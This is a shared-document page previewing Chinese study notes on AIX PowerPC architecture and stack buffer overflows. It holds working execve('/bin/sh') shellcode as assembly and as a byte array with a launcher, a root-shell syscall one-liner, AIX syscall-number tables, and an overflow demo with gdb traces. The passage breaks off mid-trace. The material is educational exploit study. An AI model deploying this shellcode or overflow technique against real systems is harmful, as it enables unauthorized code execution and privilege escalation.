AIX PowerPC体系结构及其溢出技术学习笔记.doc_第1页
AIX PowerPC体系结构及其溢出技术学习笔记.doc_第2页
AIX PowerPC体系结构及其溢出技术学习笔记.doc_第3页
AIX PowerPC体系结构及其溢出技术学习笔记.doc_第4页
AIX PowerPC体系结构及其溢出技术学习笔记.doc_第5页
已阅读5页,还剩11页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

AIX PowerPC体系结构及其溢出技术学习笔记2011年12月12日11:40一、熟悉PowerPC体系及其精简指令集计算PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:1、分支(branch)指令2、定点(fixed-point)指令3、浮点(floating-point)指令4、装载和存储指令5、处理器控制指令PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register FPR 和浮点状态与控制寄存器 Floating-Point Status and Control Register,FPSCR)和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:通用寄存器的用途:r0 在函数开始(function prologs)时使用。r1 堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。r2 内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。r3 作为第一个参数和返回地址。r4-r10 函数或系统调用开始的参数。r11 用在指针的调用和当作一些语言的环境指针。r12 它用在异常处理和glink(动态连接器)代码。r13 保留作为系统线程ID。r14-r31 作为本地变量,非易失性。专用寄存器的用途:lr 链接寄存器,它用来存放函数调用结束处的返回地址。ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。xer 定点异常寄存器,存放整数运算操作的进位以及溢出信息。msr 机器状态寄存器,用来配置微处理器的设定。cr 条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。二、学习AIX PowerPC汇编由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从/下载到。先写一个最小的C程序:/* setuid.c* Learn AIX PowerPC assemble*/#include ;int main() setuid(0);用gcc的-S选项编译一下:bash-2.04$ gcc -S setuid.c在当前目录得到setuid.s: .file setuid.c.toc.csect .textPRgcc2_compiled.:_gnu_compiled_c: .align 2 .globl main .globl .main.csect mainDSmain: .long .main, TOCtc0, 0.csect .textPR.main: .extern _mulh .extern _mull .extern _divss .extern _divus .extern _quoss .extern _quous mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blrLT.main: .long 0 .byte 0,0,32,97,128,1,0,1 .long LT.main-.main .short 4 .byte main .byte 31_section_.text:.csect .dataRW,3 .long _section_.text经过精简,发现如下这样的格式就足够了:.globl .main.csect .textPR.main: mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl ._main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31L.2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr三、学习AIX PowerPC的shellcodeB-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:bash-2.04$ cat simple_execve.s.globl .main.csect .textPR.main: xor. %r5, %r5, %r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志 bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环 mflr %r3 # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址 addi %r3, %r3, 32 # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址 stw %r3, -8(%r1) # argv0 = string 把r3写入堆栈 stw %r5, -4(%r1) # argv1 = NULL 把0写入堆栈 subi %r4, %r1, 8 # r4指向argv li %r2, 3 # AIX 4.3的execve中断号是3 crorc %cr6, %cr6, %cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。 svca 0 # execve(r3, r4, r5)string: # execve(path, argv, NULL) .asciz /bin/shbash-2.04$ gcc -o simple_execve simple_execve.sbash-2.04$ ./simple_execve$正确执行了execve,用objdump查看一下它的opcode:bash-2.04$ objdump -d simple_execve|more0000000010000308 ;: 10000308: 7c a5 2a 79 xor. r5,r5,r5 1000030c: 40 82 ff fd bnel 10000308 ; 10000310: 7c 68 02 a6 mflr r3 10000314: 38 63 00 20 cal r3,32(r3) 10000318: 90 61 ff f8 st r3,-8(r1) 1000031c: 90 a1 ff fc st r5,-4(r1) 10000320: 38 81 ff f8 cal r4,-8(r1) 10000324: 38 40 00 03 lil r2,3 10000328: 4c c6 33 42 crorc 6,6,6 1000032c: 44 00 00 02 svca 0 10000330: 2f 62 69 6e cmpi 6,r2,26990 10000334: 2f 73 68 00 cmpi 6,r19,26624可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:/* shellcode.c* ripped from lsd*/char shellcode = /* 12*4+8 bytes */ x7cxa5x2ax79 /* xor. r5,r5,r5 */ x40x82xffxfd /* bnel ; */ x7fxe8x02xa6 /* mflr r31 */ x3bxffx01x20 /* cal r31,0x120(r31) */ x38x7fxffx08 /* cal r3,-248(r31) */ x38x9fxffx10 /* cal r4,-240(r31) */ x90x7fxffx10 /* st r3,-240(r31) */ x90xbfxffx14 /* st r5,-236(r31) */ x88x5fxffx0f /* lbz r2,-241(r31) */ x98xbfxffx0f /* stb r5,-241(r31) */ x4cxc6x33x42 /* crorc cr6,cr6,cr6 */ x44xffxffx02 /* svca */ /bin/sh x03 ;int main(void) int jump2=(int)shellcode,0; (*(void (*)()jump)();编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:.data:200006D8 shellcode: # CODE XREF: .data:200006DCp.data:200006D8 # DATA XREF: .data:shellcode_TCo.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志.data:200006DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环.data:200006E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31等于.data:20000800.data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3等于.data:20000708.data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4等于.data:20000710.data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # 把地址.data:20000708放到.data:20000710.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # 把0放到.data:20000714.data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31) # 读入execve的中断号到r2寄存器.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # .data:2000070F写入一个字节0.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement.data:20000700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?.data:20000704 44 .byte 0x44 # execve(r3, r4, r5).data:20000705 FF .byte 0xFF # execve(path, argv, NULL).data:20000706 FF .byte 0xFF.data:20000707 02 .byte 2.data:20000708 2F .byte 0x2F # /.data:20000709 62 .byte 0x62 # b.data:2000070A 69 .byte 0x69 # i.data:2000070B 6E .byte 0x6E # n.data:2000070C 2F .byte 0x2F # /.data:2000070D 73 .byte 0x73 # s.data:2000070E 68 .byte 0x68 # h.data:2000070F 03 .byte 3至此,我们了解了AIX PowerPC下如何简单的调试shellcode。有一个很大的问题,AIX的各系统调用号随系统版本不断变化,这给写通用shellcode造成很大的困难,watercloud整理过各系统版本一部分系统调用号7:Aix5.1 seteuid 0xb6 setreuid 0xb7 execve 0x5Aix4.3 seteuid 0x92 setreuid 0x96 execve 0x3 Aix4.3.3 seteuid 0x92/0x93 setuid 0x93/0x94 setreuid 0x96/0x97 execve 0x4/0x3Aix4.2 setuid 0x71 execve 0x2Aix4.3 setregid: ?Aix4.3.3 setregid: 248/247Aix5.1 setregid: ?Aix5.2 execve: ? setreuid: ? setregid: ?这个表并不是很全,有环境的朋友可以继续修改补全。另外Aix提供了一个syscall命令,如果我们拿到了euid=0就权限可以这样使得uid=0了:/usr/bin/syscall setreuid 0 0 ; execve /bin/sh四、学习AIX PowerPC的溢出技术要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。32位PowerPC的堆栈结构如下图: . 调用前的堆栈 . . 调用后的堆栈 . . . . . | | | | +-+- +-+- | Parameter area | | | Parameter area | | +-+ +-调用函数 +-+ +-调用函数 | Linkage area | | | Linkage area | |SP -;+-+- +-+- | 堆栈增长方向 | | Saved registers| | . | . +-+ | . v . | Local variables| | +-+ +-被调函数 | Parameter area | | +-+ | | Linkage area | | SP -;+-+- | 堆栈增长方向 | . | . . v .每个PowerPC的栈帧数据包含4个部分:链接区、参数区、本地变量和寄存器区。链接区保存了被调函数和调用函数的一些值,它的结构如下: +24+-+ | Saved TOC | +20+-+ | Reserved | +16+-+ | Reserved | +12+-+ | Saved LR | +8+-+ | Saved CR | +4+-+ | Saved SP |SP -;+-+被调函数的链接寄存器(LR)保存到8(SP)。被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。全局链接代码会把TOC指针保存到20(SP)的地方。参数区用来传递其它被调函数的参数。当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。它的大小在编译的时候确定,是不可修改的。寄存器区包含非易失性寄存器的值。当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。当然,被调函数返回的时候需要恢复这些寄存器的值。ia32中当函数返回时,一般都有如下三条指令:mov esp,ebp ; 堆栈指针esp指向前一个栈帧pop ebpret ; 执行esp+4保存的返回地址AIX PowerPC中当函数返回时,一般有如下几条指令:lwz r1,0(r1) # 堆栈指针r1指向前一个栈帧lwz r0,8(r1) # r0等于堆栈里保存的lr值mtlr r0 # lr=r0lwz r31,-4(r1) # blr # 跳到lr执行可以看到虽然AIX PowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:bash-2.04$ cat simple_overflow.c/* simple_overflow.c* Simple program to demonstrate buffer overflows* on the PowerPC architecture.*/#include ;#include ;char largebuff =1234512345123456=PRESERVEDSPACE=ABCD;int main (void) char smallbuff16; strcpy (smallbuff, largebuff);bash-2.04$ gcc -o simple_overflow simple_overflow.cbash-2.04$ gdb simple_overflowGNU gdb 5.0Copyright 2000 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type show copying to see the conditions.There is absolutely no warranty for GDB. Type show warranty for details.This GDB was configured as powerpc-ibm-aix.(gdb) rStarting program: /home/san/simple_overflowProgram received signal SIGSEGV, Segmentation fault.0x41424344 in ? () from (unknown load module)(gdb) i regr0 0x41424344 1094861636r1 0x2ff22ba0 804400032r2 0x20000790 536872848r3 0x2ff22b88 804400008r4 0x20000734 536872756r5 0x2ff22bac 804400044r6 0x0 0r7 0x0 0r8 0x0 0r9 0x80808080 -2139062144r10 0x7f7f7f7f 2139062143r11 0x4 4r12 0x80808080 -2139062144r13 0xdeadbeef -559038737r14 0x1 1r15 0x2ff22be8 804400104r16 0x2ff22bf0 804400112r17 0x0 0r18 0xdeadbeef -559038737r19 0xdeadbeef -559038737r20 0xdeadbeef -559038737r21 0xdeadbeef -559038737r22 0xdeadbeef -559038737r23 0xdeadbeef -559038737r24 0xdeadbeef -559038737r25 0xdeadbeef -559038737r26 0xdeadbeef -559038737r27 0xdeadbeef -559038737r28 0xdeadbeef -559038737r29 0xdeadbeef -559038737r30 0xdeadbeef -559038737r31 0x53455256 1397051990pc 0x41424344 1094861636ps 0x4000d030 1073795120cr 0x22222242 572662338lr 0x41424344 1094861636ctr 0x4 4xer 0x0 0pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD的:(gdb) disas mainDump of assembler code for function main:0x10000308 ;: mflr r00x1000030c ;: stw r31,-4(r1)0x10000310 ;: stw r0,8(r1)0x10000314 ;: stwu r1,-80(r1)0x10000318 ;: mr r31,r10x1000031c ;: bl 0x100004c8 ;0x10000320 ;: crmove 4*cr7+so,4*cr7+so0x10000324 ;: addi r3,r31,560x10000328 ;: lwz r4,32(r2)0x1000032c ;: bl 0x10000520 ;0x10000330 ;: crmove 4*cr7+so,4*cr7+so0x10000334 ;: lwz r1,0(r1)0x10000338 ;: lwz r0,8(r1)0x1000033c ;: mtlr r00x10000340 ;: lwz r31,-4(r1)0x10000344 ;: blr0x10000348 ;: .long 0x00x1000034c ;: .long 0x20610x10000350 ;: lwz r0,1(r1)0x10000354 ;: .long 0x400x10000358 ;: .long 0x46d610x1000035c ;: xori r14,r11,7936End of assembler dump.(gdb) b mainBreakpoint 1 at 0x1000031c(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/san/simple_overflowBreakpoint 1, 0x1000031c in main ()(gdb) display/i $pc1: x/i $pc 0x1000031c ;: bl 0x100004c8 ;(gdb) ni0x10000320 in main ()1: x/i $pc 0x10000320 ;: crmove 4*cr7+so,4*cr7+so(gdb) x/20x $r10x2ff22b50: 0x2ff22ba0 0x00000000 0x10000320 0x000000000x2ff22b60: 0x2ff22ba0 0x00000000 0x00000000 0x000000000x2ff22b70: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b80: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22b90: 0x00000000 0x00000000 0x00000000 0xdeadbeef(gdb)0x2ff22ba0: 0x00000000 0x00000000 0x100001cc 0x000000000x2ff22bb0: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22bc0: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22bd0: 0x00000000 0x00000000 0x00000000 0x000000000x2ff22be0: 0x00000000 0x00000000 0x2ff22c70 0x00000000(gdb) bt#0 0x10000320 in main ()#1 0x100001cc in _start ()0x2ff22b50是当前的堆栈指针,它指向的地址是前一个栈帧。从堆栈回溯或堆栈内容来看,前一个栈帧保存的lr是0x100001cc,也就是说main函数退出后会执行到这个地址,先来看程序流程:(gdb) until *0x100003300x10000330 in main ()2: x/i $pc 0x10000330 ;: crmove 4*cr7+so,4*cr7+so(gdb) i regr0 0x20 32r1 0x2ff22b50 804399952r2 0x20000790 536872848r3 0x2ff22b88 804400008r4 0x20000734 536872756r5 0x2ff22bac 804400044r6 0x0 0r7 0x0 0r8 0x0 0r9 0x80808080 -2139062144r10 0x7f7f7f7f 2139062143r11 0x4 4r12 0x80808080 -2139062144r13 0xdeadbeef -559038737r14 0x1 1r15 0x2ff22be8 804400104r16 0x2ff22bf0 804400112r17 0x0 0r18 0xdeadbeef -559038737r19 0xdeadbeef -559038737r20 0xdeadbeef -559038737r21 0xdeadbeef -559038737r22 0xdeadbeef -559038737r23 0xdeadbeef -559038737r24 0xdeadbeef -559038737r25 0xdeadbeef -559038737r26 0xdeadbeef -559038737r27 0xdeadbeef -559038737r28 0xdeadbeef -559038737r29 0xdeadbeef -559038737r30 0xdeadbeef -559038737r31 0x2ff22b50 804399952pc 0x10000330 268436272ps 0x2d030 184368cr 0x22222242 572662338lr 0x10000330 268436272ctr 0x4 4xer 0x0 0(gdb) x/20x $r10x2ff22b50: 0x2ff22ba0 0x00000000 0x10000320 0x000000000x2ff22b60: 0x2ff22ba0 0x00000000 0x00000000 0x000000000x2ff22b70: 0x00000000 0x00000000 0x00000000 0x000000

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论